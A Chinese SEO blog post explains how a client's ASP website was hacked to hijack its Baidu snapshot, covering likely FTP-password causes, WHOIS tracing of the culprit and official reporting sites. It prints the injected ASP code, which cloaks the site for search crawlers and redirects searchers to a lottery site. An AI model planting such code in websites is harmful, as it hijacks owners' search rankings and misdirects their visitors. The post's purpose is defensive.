当前位置:网站首页 > 网站建设 > SEO培训 > 正文

百度快照是如何被黑客篡改的?

king 2019-10-07 14 浏览 0 评论

写本篇文章的目的在于揭露一种黑客作弊的手段,也给那些疏于企业网站安全的站长提一个醒。同时提供一种追找黑客行踪的简单方法



前几日,我的客户电话说自己的百度排名没有了,查询下竟然百度标签显示的内容是一家彩票平台的网站内容。 我知道网站被黑客加入了非法代码,恶意篡改了百度快照。(截图如下)



查看“blog/post/466.html" target="_blank" style="box-sizing: border-box; text-size-adjust: none; padding: 0px; margin: 0px; user-select: none; color: rgb(51, 51, 51); text-decoration: none;">百度快照”出现的是一组跳转网站的广告内容。我们对客户设置的网站信息消失了。



1、黑客是如何修改百度快照的呢?

我进行了排查,客户的网站是使用asp源码开发的。发现有个文件被黑客写入了一段代码。

路径:Inc文件夹—SysProduct.asp文件里面最底下添加了如下代码:



  1. <%  

  2. function Getbot()  

  3. dim s_agent  

  4. GetBot=“”

  5. s_agent=Request.ServerVariables(“HTTP_USER_AGENT”)  

  6. if instr(1,s_agent,“googlebot”,1) > 0 then  

  7. GetBot=“google”

  8. endif

  9. if instr(1,s_agent,“baiduspider”,1) > 0 then  

  10. GetBot=“baidu”

  11. endif

  12. endfunction

  13. if GetBot=“baidu”or GetBot=“google” then  

  14. ‘  

  15. Response.Redirect “http://*********”(跳转的网站,引导百度抓取内容)  

  16. else

  17. ‘  

  18. Response.Write“<script type=”“text/javascript”“>var d=document.referrer;var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location=’http://*********’;(目标网站)window.adworkergo=’ad_app6′}else{}</script>”

  19. endif

  20. %>  

黑客设置的这串代码导致百度爬虫抓取网页的时候,直接抓取越过客户网站抓取了跳转网站内容,导致百度快照里面显示的是别的内容。使得客户本来排名首页的网站直接被百度屏蔽了。造成了客户很大的损失。

2、那么黑客是如何进入后台的呢?

黑客要进入后台,必须知道FTP账户和密码,以及IP地址。

造成的原因有如下几种:

1)一方面是FTP密码设置的时候比较简单化,很容易被利用软件破解掉,

2)另一方面选择便宜的空间也是一种隐患。因为空间IP以及用户名是很难被知道的,除非有人提供。

3、网站被黑之后,你如何追查黑客的来源?

方法比较简单,就是查询你跳转的目标网站的域名信息。一般情况下,都是一些小型的站长开发的赚钱网站,通过查询域名信息你可以获知该域名的归属人是谁,他有可能就是黑你网站的人。

如果是比较大型的网站利用外包的方式进行推广,那么你也可以得知负责人,给百度或者是网络警察举报一下,该网站存在恶意攻击修改内容的行为,毕竟它也有一定得责任。

通过中国万网Whois域名查询:比如我客户跳转的彩票网站的域名信息如下:



1)第一个是:注册人

2)第二个是:联系电话

3)第三个是:联系邮箱

基本上你联系注册人就可以解决问题。如果对你客户造成的损失太大的话,建议你通过以下方式进行维权:

违法和不良信息举报中心:http://net.china.cn/

12321网络不良与垃圾信息举报受理中心:http://www.12321.cn/

国家互联网" target="_blank" style="box-sizing: border-box; text-size-adjust: none; padding: 0px; margin: 0px; user-select: none; color: rgb(51, 51, 51); text-decoration: none;">互联网应急中心网络安全举报中心:http://www.cert.org.cn/

中国反钓鱼网站联盟认定及处理流程: http://www.cnnic.cn/

公安部信息网络安全报警网站:http://www.cyberpolice.cn/wfjb/

中国扫黄打非网:http://www.shdf.gov.cn/

北京市公安局网络违法犯罪举报网站:http://www.bj.cyberpolice.cn/index.jsp

希望本篇文章对你防黑有帮助。


相关推荐

奇特吧:頁面重定向常常忽略的3個題目是什麼?
奇特吧:頁面重定向常常忽略的3個題目是什麼?

在搜索引擎優化工作中,頁面重定向是一個不常討論的話題,但卻是一個常常碰到的題目。很多搜索引擎優化工汉松收集网並不怎麼正視它。在實際操縱中,很多細微的差異往往導致...

3天前 king

我爱辅助网:SEO初学者必备的16个工具
我爱辅助网:SEO初学者必备的16个工具

做为一位从SEO初学者一路走过来的人来讲,SEO优化离不开网站的外链,为了做外链很多人苦恼到底该哪里做起?怎么做有效果?在这里小戴整理了一些外链比较好的基地分享...

3天前 king

我爱辅助网:老网站突然不收录普遍存在的14个原因及应对策略
我爱辅助网:老网站突然不收录普遍存在的14个原因及应对策略

我爱辅助网:老网站突然不收录普遍存在的14个原因及应对策略有经验的站长会遇到老网站突然不收录的问题,典型的特征有运营中的老网站,网站文章突然不被收录,不止是网站...

3天前 king

六合论坛源码大全_ster网站优化六合教材

关键词排名是体现网站权重的最关键因素,一个网站的关键字排名较好可以作为一个推断网站排名的因素之一,因为关键字的排名跟网站权重是一条绳子上的蚂蚱。重要性在逐渐落低,也缓缓淡离出无数站长的视野,但是判定一...

小刀娱乐网idanmu:营销进行seo优化有困难?

小刀娱乐网【idanmu】营销网站进行seo优化有什么困难?营销网站只是一种营销工具。如果您想使用营销工具来创造价值,您必须优化营销网站并提高关键字的排名,以便您可以通过搜索引擎获得准确的流量。准确的...

爱收集资源网-seosmd是什么意思

爱收集资源网搜索引擎就是这么神奇。原本没有seosem这个词语,搜索的人多了,就出现了这个概念。实际上,这个词语是两个词语的组合,即seo与sem。如果排除人工非正常操作,这个词语的出现很大程度上归功...

汇总常规的seo外链建设途径
汇总常规的seo外链建设途径

三人成虎说的是假东西被多人传播,就当成了真东西。曾几何时,“外链无用论”也被以讹传讹,被诸多新手seo当做了真理。没有你网站外的其他网站给你投票,你凭什么说你的...

4天前 king

迷恋辅助网:搜索引擎优化必须把握几个关键点
迷恋辅助网:搜索引擎优化必须把握几个关键点

【迷恋娱乐网】搜索引擎优化必须把握几个关键点 所谓常数应该改变,不管当前网站优化SEO市场形势如何演变,但其主要理念和总方向只有一个“内容为王,外部链...

5天前 king

末世辅助网:搜索引擎优化和百度竞价利弊分析!
末世辅助网:搜索引擎优化和百度竞价利弊分析!

【末世娱乐网】搜索引擎优化和百度竞价利弊分析!起首,合作排名的利弊。 上风: 1、快速成果,充值后当即设置关头词价钱便可以进入百度前十名,位...

5天前 king

我爱辅助网:链外搜索引擎优化计划如何发布?
我爱辅助网:链外搜索引擎优化计划如何发布?

【我爱娱乐网】链外搜索引擎优化计划如何发布?如何分发SEO链外优化程序?最近,Baidu屏蔽了外部链的重量,所以优化链条也有效果吗?有人说百度骗人,这条链子仍然...

5天前 king

欢迎 发表评论: